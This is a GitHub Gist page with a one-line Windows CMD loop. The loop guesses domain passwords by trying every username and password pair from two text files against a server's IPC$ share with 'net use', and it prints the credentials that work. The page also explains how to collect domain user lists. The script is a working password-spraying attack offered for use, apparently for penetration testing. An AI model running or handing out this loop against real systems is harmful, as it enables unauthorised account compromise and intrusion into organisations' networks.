Last active
August 11, 2022 18:11
-
-
Save joswr1ght/2aa609693e8aec13191fa13d4dc73749 to your computer and use it in GitHub Desktop.
Windows CMD Loop to Guess Passwords - edit SERVERIP in both places, using your target server IP. Set the DOMAIN value to your target domain.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@FOR /F %p in (pass.txt) DO @FOR /F %n in (users.txt) DO @net use \\SERVERIP\IPC$ /user:DOMAIN\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete \\SERVERIP\IPC$ > NUL |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Obtain a user account list with
net user /domain
and create a small password list forpass.txt
.Returns output like this: